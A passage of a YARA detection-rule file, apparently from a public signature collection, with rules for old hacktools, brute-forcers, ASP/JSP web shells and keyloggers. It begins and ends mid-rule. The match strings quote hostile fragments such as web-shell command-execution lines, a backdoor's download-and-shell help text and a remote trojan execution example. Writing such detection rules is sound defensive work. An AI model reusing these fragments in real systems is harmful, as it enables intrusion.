		$s4 = "del /f /s /q %systemdrive%\\*.chk    " fullword ascii
		$s5 = "del /f /s /q %systemdrive%\\*.tmp    " fullword ascii
		$s8 = "del /f /q %userprofile%\\COOKIES s\\*.*    " fullword ascii
		$s9 = "rd /s /q %windir%\\temp & md %windir%\\temp    " fullword ascii
		$s11 = "del /f /s /q %systemdrive%\\recycled\\*.*    " fullword ascii
		$s12 = "del /f /s /q \"%userprofile%\\Local Settings\\Temp\\*.*\"    " fullword ascii
		$s19 = "del /f /s /q \"%userprofile%\\Local Settings\\Temporary Internet Files\\*.*\"   " ascii

	condition:
		5 of them
}

rule Hacktools_CN_Burst_Thecard
{
	meta:
		description = "Disclosed hacktool set - file Thecard.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "50b01ea0bfa5ded855b19b024d39a3d632bacb4c"
		id = "a9946aeb-2042-522f-8d91-f8b96341bb64"

	strings:
		$s0 = "tasklist |find \"Clear.bat\"||start Clear.bat" fullword ascii
		$s1 = "Http://www.coffeewl.com" fullword ascii
		$s2 = "ping -n 2 localhost 1>nul 2>nul" fullword ascii
		$s3 = "for /L %%a in (" ascii
		$s4 = "MODE con: COLS=42 lines=5" fullword ascii

	condition:
		all of them
}

rule Hacktools_CN_Burst_Blast
{
	meta:
		description = "Disclosed hacktool set - file Blast.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "b07702a381fa2eaee40b96ae2443918209674051"
		id = "9ac723c4-e88d-5fb3-b18f-c8b764c8acf3"

	strings:
		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http:" ascii
		$s1 = "@echo off" fullword ascii

	condition:
		all of them
}

rule VUBrute_VUBrute
{
	meta:
		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file VUBrute.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "22.11.14"
		score = 70
		hash = "166fa8c5a0ebb216c832ab61bf8872da556576a7"
		id = "7ac74c85-465c-5eb5-8e91-004f28cabb75"

	strings:
		$s0 = "Text Files (*.txt);;All Files (*)" fullword ascii
		$s1 = "http://ubrute.com" fullword ascii
		$s11 = "IP - %d; Password - %d; Combination - %d" fullword ascii
		$s14 = "error.txt" fullword ascii

	condition:
		all of them
}

rule DK_Brute
{
	meta:
		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file DK Brute.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "22.11.14"
		score = 70
		reference = "http://goo.gl/xiIphp"
		hash = "93b7c3a01c41baecfbe42461cb455265f33fbc3d"
		id = "c9ea0dcf-10f3-5161-aebc-2db04c24b0a5"

	strings:
		$s6 = "get_CrackedCredentials" fullword ascii
		$s13 = "Same port used for two different protocols:" fullword wide
		$s18 = "coded by fLaSh" fullword ascii
		$s19 = "get_grbToolsScaningCracking" fullword ascii

	condition:
		all of them
}

rule VUBrute_config
{
	meta:
		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file config.ini"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "22.11.14"
		score = 70
		reference = "http://goo.gl/xiIphp"
		hash = "b9f66b9265d2370dab887604921167c11f7d93e9"
		id = "25cad108-b2d6-5886-bb2f-e614e05649fa"

	strings:
		$s2 = "Restore=1" fullword ascii
		$s6 = "Thread=" ascii
		$s7 = "Running=1" fullword ascii
		$s8 = "CheckCombination=" fullword ascii
		$s10 = "AutoSave=1.000000" fullword ascii
		$s12 = "TryConnect=" ascii
		$s13 = "Tray=" ascii

	condition:
		all of them
}

rule sig_238_hunt
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file hunt.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "f9f059380d95c7f8d26152b1cb361d93492077ca"
		id = "5d9d1f99-2f12-51e9-a554-b349e19d00fb"

	strings:
		$s1 = "Programming by JD Glaser - All Rights Reserved" fullword ascii
		$s3 = "Usage - hunt \\\\servername" fullword ascii
		$s4 = ".share = %S - %S" fullword wide
		$s5 = "SMB share enumerator and admin finder " fullword ascii
		$s7 = "Hunt only runs on Windows NT..." fullword ascii
		$s8 = "User = %S" fullword ascii
		$s9 = "Admin is %s\\%s" fullword ascii

	condition:
		all of them
}

rule sig_238_listip
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file listip.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "f32a0c5bf787c10eb494eb3b83d0c7a035e7172b"
		id = "417faf20-ee07-5c3e-bfcf-89599e38e62e"

	strings:
		$s0 = "ERROR!!! Bad host lookup. Program Terminate." fullword ascii
		$s2 = "ERROR No.2!!! Program Terminate." fullword ascii
		$s4 = "Local Host Name: %s" fullword ascii
		$s5 = "Packed by exe32pack 1.38" fullword ascii
		$s7 = "Local Computer Name: %s" fullword ascii
		$s8 = "Local IP Adress: %s" fullword ascii

	condition:
		all of them
}

rule ArtTrayHookDll
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file ArtTrayHookDll.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "4867214a3d96095d14aa8575f0adbb81a9381e6c"
		id = "324561fc-024c-5583-aa25-6b13e9616898"

	strings:
		$s0 = "ArtTrayHookDll.dll" fullword ascii
		$s7 = "?TerminateHook@@YAXXZ" fullword ascii

	condition:
		all of them
}

rule sig_238_eee
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file eee.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "236916ce2980c359ff1d5001af6dacb99227d9cb"
		id = "9d3ad3a9-0498-5ca3-ac19-f250cb10c4d3"

	strings:
		$s0 = "szj1230@yesky.com" fullword wide
		$s3 = "C:\\Program Files\\DevStudio\\VB\\VB5.OLB" fullword ascii
		$s4 = "MailTo:szj1230@yesky.com" fullword wide
		$s5 = "Command1_Click" fullword ascii
		$s7 = "software\\microsoft\\internet explorer\\typedurls" fullword wide
		$s11 = "vb5chs.dll" fullword ascii
		$s12 = "MSVBVM50.DLL" fullword ascii

	condition:
		all of them
}

rule aspbackdoor_asp4
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file asp4.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "faf991664fd82a8755feb65334e5130f791baa8c"
		id = "7718aa71-fc0f-505c-a035-b78ae0438653"

	strings:
		$s0 = "system.dll" fullword ascii
		$s2 = "set sys=server.CreateObject (\"system.contral\") " fullword ascii
		$s3 = "Public Function reboot(atype As Variant)" fullword ascii
		$s4 = "t& = ExitWindowsEx(1, atype)" ascii
		$s5 = "atype=request(\"atype\") " fullword ascii
		$s7 = "AceiveX dll" fullword ascii
		$s8 = "Declare Function ExitWindowsEx Lib \"user32\" (ByVal uFlags As Long, ByVal " ascii
		$s10 = "sys.reboot(atype)" fullword ascii

	condition:
		all of them
}

rule aspfile1
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file aspfile1.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "77b1e3a6e8f67bd6d16b7ace73dca383725ac0af"
		id = "1b66dec0-22c8-5937-a0b2-22cbc68241ef"

	strings:
		$s0 = "' -- check for a command that we have posted -- '" fullword ascii
		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword ascii
		$s5 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"><BODY>" fullword ascii
		$s6 = "<input type=text name=\".CMD\" size=45 value=\"<%= szCMD %>\">" fullword ascii
		$s8 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword ascii
		$s15 = "szCMD = Request.Form(\".CMD\")" fullword ascii

	condition:
		3 of them
}

rule EditServer
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file EditServer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "87b29c9121cac6ae780237f7e04ee3bc1a9777d3"
		id = "de6bf995-1c7c-561f-98df-e8748d5fb157"

	strings:
		$s0 = "%s Server.exe" fullword ascii
		$s1 = "Service Port: %s" fullword ascii
		$s2 = "The Port Must Been >0 & <65535" fullword ascii
		$s8 = "3--Set Server Port" fullword ascii
		$s9 = "The Server Password Exceeds 32 Characters" fullword ascii
		$s13 = "Service Name: %s" fullword ascii
		$s14 = "Server Password: %s" fullword ascii
		$s17 = "Inject Process Name: %s" fullword ascii
		$x1 = "WinEggDrop Shell Congirator" fullword ascii

	condition:
		5 of ( $s* ) or $x1
}

rule sig_238_letmein
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file letmein.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "74d223a56f97b223a640e4139bb9b94d8faa895d"
		id = "5dba055f-1928-534a-8d0e-11dda56d93b7"

	strings:
		$s1 = "Error get globalgroup memebers: NERR_InvalidComputer" fullword ascii
		$s6 = "Error get users from server!" fullword ascii
		$s7 = "get in nt by name and null" fullword ascii
		$s16 = "get something from nt, hold by killusa." fullword ascii

	condition:
		all of them
}

rule sig_238_token
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file token.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "c52bc6543d4281aa75a3e6e2da33cfb4b7c34b14"
		id = "9d0ac24b-2078-5455-8d9e-a642c71f7b2d"

	strings:
		$s0 = "Logon.exe" fullword ascii
		$s1 = "Domain And User:" fullword ascii
		$s2 = "PID=Get Addr$(): One" fullword ascii
		$s3 = "Process " fullword ascii
		$s4 = "psapi.dllK" fullword ascii

	condition:
		all of them
}

rule sig_238_TELNET
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file TELNET.EXE from Windows ME"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "50d02d77dc6cc4dc2674f90762a2622e861d79b1"
		id = "fae22e0f-2f69-5dc6-984c-2c07530ad11a"

	strings:
		$s0 = "TELNET [host [port]]" fullword wide
		$s2 = "TELNET.EXE" fullword wide
		$s4 = "Microsoft(R) Windows(R) Millennium Operating System" fullword wide
		$s14 = "Software\\Microsoft\\Telnet" fullword wide

	condition:
		all of them
}

rule snifferport
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file snifferport.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "d14133b5eaced9b7039048d0767c544419473144"
		id = "5b903344-18d2-5d3d-be66-7260a5f3ea4b"

	strings:
		$s0 = "iphlpapi.DLL" fullword ascii
		$s5 = "ystem\\CurrentCorolSet\\" ascii
		$s11 = "Port.TX" fullword ascii
		$s12 = "32Next" fullword ascii
		$s13 = "V1.2 B" fullword ascii

	condition:
		all of them
}

rule sig_238_webget
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file webget.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "36b5a5dee093aa846f906bbecf872a4e66989e42"
		id = "b03a2463-94fe-5050-8e3d-269101a03cda"

	strings:
		$s0 = "Packed by exe32pack" ascii
		$s1 = "GET A HTTP/1.0" fullword ascii
		$s2 = " error " fullword ascii
		$s13 = "Downloa" ascii

	condition:
		all of them
}

rule XYZCmd_zip_Folder_XYZCmd
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file XYZCmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "bbea5a94950b0e8aab4a12ad80e09b630dd98115"
		id = "c3d70b93-1d53-5403-bd22-d1e4bad5042b"

	strings:
		$s0 = "Executes Command Remotely" fullword wide
		$s2 = "XYZCmd.exe" fullword wide
		$s6 = "No Client Software" fullword wide
		$s19 = "XYZCmd V1.0 For NT S" fullword ascii

	condition:
		all of them
}

rule ASPack_Chinese
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file ASPack Chinese.ini"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "02a9394bc2ec385876c4b4f61d72471ac8251a8e"
		id = "ac821117-7534-5dec-9477-25be87361900"

	strings:
		$s0 = "= Click here if you want to get your registered copy of ASPack" fullword ascii
		$s1 = ";  For beginning of translate - copy english.ini into the yourlanguage.ini" fullword ascii
		$s2 = "E-Mail:                      shinlan@km169.net" fullword ascii
		$s8 = ";  Please, translate text only after simbol '='" fullword ascii
		$s19 = "= Compress with ASPack" fullword ascii

	condition:
		all of them
}

rule aspbackdoor_EDIR
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file EDIR.ASP"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "03367ad891b1580cfc864e8a03850368cbf3e0bb"
		id = "0895091a-b620-5746-8245-d44716ec2bbe"

	strings:
		$s1 = "response.write \"<a href='index.asp'>" fullword ascii
		$s3 = "if Request.Cookies(\"password\")=\"" ascii
		$s6 = "whichdir=server.mappath(Request(\"path\"))" fullword ascii
		$s7 = "Set fs = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
		$s19 = "whichdir=Request(\"path\")" fullword ascii

	condition:
		all of them
}

rule ByPassFireWall_zip_Folder_Ie
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file Ie.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "d1b9058f16399e182c9b78314ad18b975d882131"
		id = "7bd10fa1-be2d-5882-b4c7-b696612343e5"

	strings:
		$s0 = "d:\\documents and settings\\loveengeng\\desktop\\source\\bypass\\lcc\\ie.dll" fullword ascii
		$s1 = "LOADER ERROR" fullword ascii
		$s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
		$s7 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii

	condition:
		all of them
}

rule EditKeyLogReadMe
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file EditKeyLogReadMe.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "dfa90540b0e58346f4b6ea12e30c1404e15fbe5a"
		id = "db083c04-9e5c-5cfd-b4d4-eecf28191b6b"

	strings:
		$s0 = "editKeyLog.exe KeyLog.exe," fullword ascii
		$s1 = "WinEggDrop.DLL" fullword ascii
		$s2 = "nc.exe" fullword ascii
		$s3 = "KeyLog.exe" fullword ascii
		$s4 = "EditKeyLog.exe" fullword ascii
		$s5 = "wineggdrop" fullword ascii

	condition:
		3 of them
}

rule PassSniffer_zip_Folder_readme
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file readme.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "a52545ae62ddb0ea52905cbb61d895a51bfe9bcd"
		id = "f5965aa8-0f78-56fd-8e3e-6dc013942cb3"

	strings:
		$s0 = "PassSniffer.exe" fullword ascii
		$s1 = "POP3/FTP Sniffer" fullword ascii
		$s2 = "Password Sniffer V1.0" fullword ascii

	condition:
		1 of them
}

rule sig_238_gina
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file gina.reg"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "324acc52566baf4afdb0f3e4aaf76e42899e0cf6"
		id = "85c19493-e6d4-55e8-8526-6817243e90cf"

	strings:
		$s0 = "\"gina\"=\"gina.dll\"" fullword ascii
		$s1 = "REGEDIT4" fullword ascii
		$s2 = "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon]" fullword ascii

	condition:
		all of them
}

rule splitjoin
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "e4a9ef5d417038c4c76b72b5a636769a98bd2f8c"
		id = "2f1a69cd-34b3-5af0-a054-fe19d9becb25"

	strings:
		$s0 = "Not for distribution without the authors permission" fullword wide
		$s2 = "Utility to split and rejoin files.0" fullword wide
		$s5 = "Copyright (c) Angus Johnson 2001-2002" fullword wide
		$s19 = "SplitJoin" fullword wide

	condition:
		all of them
}

rule EditKeyLog
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file EditKeyLog.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "a450c31f13c23426b24624f53873e4fc3777dc6b"
		id = "db083c04-9e5c-5cfd-b4d4-eecf28191b6b"

	strings:
		$s1 = "Press Any Ke" fullword ascii
		$s2 = "Enter 1 O" fullword ascii
		$s3 = "Bon >0 & <65535L" fullword ascii
		$s4 = "--Choose " fullword ascii

	condition:
		all of them
}

rule PassSniffer
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file PassSniffer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "dcce4c577728e8edf7ed38ac6ef6a1e68afb2c9f"
		id = "f5965aa8-0f78-56fd-8e3e-6dc013942cb3"

	strings:
		$s2 = "Sniff" fullword ascii
		$s3 = "GetLas" fullword ascii
		$s4 = "VersionExA" fullword ascii
		$s10 = " Only RuntUZ" fullword ascii
		$s12 = "emcpysetprintf\\" ascii
		$s13 = "WSFtartup" fullword ascii

	condition:
		all of them
}

rule aspfile2
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file aspfile2.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "14efbc6cb01b809ad75a535d32b9da4df517ff29"
		id = "42bbcc16-a6d7-53d7-8651-1a28c6b26ee8"

	strings:
		$s0 = "response.write \"command completed success!\" " fullword ascii
		$s1 = "for each co in foditems " fullword ascii
		$s3 = "<input type=text name=text6 value=\"<%= szCMD6 %>\"><br> " fullword ascii
		$s19 = "<title>Hello! Welcome </title>" fullword ascii

	condition:
		all of them
}

rule UnPack_rar_Folder_InjectT
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "80f39e77d4a34ecc6621ae0f4d5be7563ab27ea6"
		id = "cc7d1a36-1214-5a14-8589-9eb2339a8700"

	strings:
		$s0 = "%s -Install                          -->To Install The Service" fullword ascii
		$s1 = "Explorer.exe" fullword ascii
		$s2 = "%s -Start                            -->To Start The Service" fullword ascii
		$s3 = "%s -Stop                             -->To Stop The Service" fullword ascii
		$s4 = "The Port Is Out Of Range" fullword ascii
		$s7 = "Fail To Set The Port" fullword ascii
		$s11 = "\\psapi.dll" ascii
		$s20 = "TInject.Dll" fullword ascii
		$x1 = "Software\\Microsoft\\Internet Explorer\\WinEggDropShell" fullword ascii
		$x2 = "injectt.exe" fullword ascii

	condition:
		(1 of ( $x* ) ) and ( 3 of ( $s* ) )
}

rule Jc_WinEggDrop_Shell
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file Jc.WinEggDrop Shell.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "820674b59f32f2cf72df50ba4411d7132d863ad2"
		id = "219df3a1-fe1c-5d33-ab3e-1b3cbd104c9e"

	strings:
		$s0 = "Sniffer.dll" fullword ascii
		$s4 = ":Execute net.exe user Administrator pass" fullword ascii
		$s5 = "Fport.exe or mport.exe " fullword ascii
		$s6 = ":Password Sniffering Is Running |Not Running " fullword ascii
		$s9 = ": The Terminal Service Port Has Been Set To NewPort" fullword ascii
		$s15 = ": Del www.exe                   " fullword ascii
		$s20 = ":Dir *.exe                    " fullword ascii

	condition:
		2 of them
}

rule aspbackdoor_asp1
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file asp1.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "9ef9f34392a673c64525fcd56449a9fb1d1f3c50"
		id = "fa5128c5-efd5-55dd-880a-2952942e2035"

	strings:
		$s0 = "param = \"driver={Microsoft Access Driver (*.mdb)}\" " fullword ascii
		$s1 = "conn.Open param & \";dbq=\" & Server.MapPath(\"scjh.mdb\") " fullword ascii
		$s6 = "set rs=conn.execute (sql)%> " fullword ascii
		$s7 = "<%set Conn = Server.CreateObject(\"ADODB.Connection\") " fullword ascii
		$s10 = "<%dim ktdh,scph,scts,jhqtsj,yhxdsj,yxj,rwbh " fullword ascii
		$s15 = "sql=\"select * from scjh\" " fullword ascii

	condition:
		all of them
}

rule QQ_zip_Folder_QQ
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file QQ.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "9f8e3f40f1ac8c1fa15a6621b49413d815f46cfb"
		id = "30da6292-f670-5b73-985a-3028e20607be"

	strings:
		$s0 = "EMAIL:haoq@neusoft.com" fullword wide
		$s1 = "EMAIL:haoq@neusoft.com" fullword wide
		$s4 = "QQ2000b.exe" fullword wide
		$s5 = "haoq@neusoft.com" fullword ascii
		$s9 = "QQ2000b.exe" fullword ascii
		$s10 = "\\qq2000b.exe" ascii
		$s12 = "WINDSHELL STUDIO[WINDSHELL " fullword wide
		$s17 = "SOFTWARE\\HAOQIANG\\" ascii

	condition:
		5 of them
}

rule UnPack_rar_Folder_TBack
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file TBack.DLL"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "30fc9b00c093cec54fcbd753f96d0ca9e1b2660f"
		id = "f672f987-0d43-53df-8338-084907b6da16"

	strings:
		$s0 = "Redirect SPort RemoteHost RPort       -->Port Redirector" fullword ascii
		$s1 = "http://IP/a.exe a.exe                 -->Download A File" fullword ascii
		$s2 = "StopSniffer                           -->Stop Pass Sniffer" fullword ascii
		$s3 = "TerminalPort Port                     -->Set New Terminal Port" fullword ascii
		$s4 = "Example: Http://12.12.12.12/a.exe abc.exe" fullword ascii
		$s6 = "Create Password Sniffering Thread Successfully. Status:Logging" fullword ascii
		$s7 = "StartSniffer NIC                      -->Start Sniffer" fullword ascii
		$s8 = "Shell                                 -->Get A Shell" fullword ascii
		$s11 = "DeleteService ServiceName             -->Delete A Service" fullword ascii
		$s12 = "Disconnect ThreadNumber|All           -->Disconnect Others" fullword ascii
		$s13 = "Online                                -->List All Connected IP" fullword ascii
		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword ascii
		$s16 = "Example: Set REG_SZ Test Trojan.exe" fullword ascii
		$s18 = "Execute Program                       -->Execute A Program" fullword ascii
		$s19 = "Reboot                                -->Reboot The System" fullword ascii
		$s20 = "Password Sniffering Is Not Running" fullword ascii

	condition:
		4 of them
}

rule sig_238_cmd_2
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file cmd.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "be4073188879dacc6665b6532b03db9f87cfc2bb"
		id = "5fae3c4a-aeeb-5e02-9071-3980a39a19a9"

	strings:
		$s0 = "Process child = Runtime.getRuntime().exec(" ascii
		$s1 = "InputStream in = child.getInputStream();" fullword ascii
		$s2 = "String cmd = request.getParameter(\"" ascii
		$s3 = "while ((c = in.read()) != -1) {" fullword ascii
		$s4 = "<%@ page import=\"java.io.*\" %>" fullword ascii

	condition:
		all of them
}

rule RangeScan
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file RangeScan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "bace2c65ea67ac4725cb24aa9aee7c2bec6465d7"
		id = "143d9e1e-41e2-579a-beee-30da2cf068f7"

	strings:
		$s0 = "RangeScan.EXE" fullword wide
		$s4 = "<br><p align=\"center\"><b>RangeScan " fullword ascii
		$s9 = "Produced by isn0" fullword ascii
		$s10 = "RangeScan" fullword wide
		$s20 = "%d-%d-%d %d:%d:%d" fullword ascii

	condition:
		3 of them
}

rule XYZCmd_zip_Folder_Readme
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file Readme.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "967cb87090acd000d22e337b8ce4d9bdb7c17f70"
		id = "cee0f8c3-f947-50a5-ae8c-4ce83ef5e433"

	strings:
		$s3 = "3.xyzcmd \\\\RemoteIP /user:Administrator /pwd:1234 /nowait trojan.exe" fullword ascii
		$s20 = "XYZCmd V1.0" fullword ascii

	condition:
		all of them
}

rule ByPassFireWall_zip_Folder_Inject
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file Inject.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "34f564301da528ce2b3e5907fd4b1acb7cb70728"
		id = "bb31dc53-f3c1-5f8b-84f9-c231a4e1675b"

	strings:
		$s6 = "Fail To Inject" fullword ascii
		$s7 = "BtGRemote Pro; V1.5 B/{" fullword ascii
		$s11 = " Successfully" fullword ascii

	condition:
		all of them
}

rule sig_238_sqlcmd
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file sqlcmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 40
		hash = "b6e356ce6ca5b3c932fa6028d206b1085a2e1a9a"
		id = "0efdfac7-5a89-5251-b583-12b0a58c48ff"

	strings:
		$s0 = "Permission denial to EXEC command.:(" ascii
		$s3 = "by Eyas<cooleyas@21cn.com>" fullword ascii
		$s4 = "Connect to %s MSSQL server success.Enjoy the shell.^_^" fullword ascii
		$s5 = "Usage: %s <host> <uid> <pwd>" fullword ascii
		$s6 = "SqlCmd2.exe Inside Edition." fullword ascii
		$s7 = "Http://www.patching.net  2000/12/14" fullword ascii
		$s11 = "Example: %s 192.168.0.1 sa \"\"" fullword ascii

	condition:
		4 of them
}

rule ASPack_ASPACK
{
	meta:
		description = "Disclosed hacktool set (old stuff) - file ASPACK.EXE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "23.11.14"
		score = 60
		hash = "c589e6fd48cfca99d6335e720f516e163f6f3f42"
		id = "ca9a25f9-a94b-5e10-b935-c6e2d38d999c"

	strings:
		$s0 = "ASPACK.EXE" fullword wide
		$s5 = "CLOSEDFOLDER" fullword wide
		$s10 = "ASPack compressor" fullword wide

	condition:
		all of them
}

rule sig_238_2323
{
	meta:
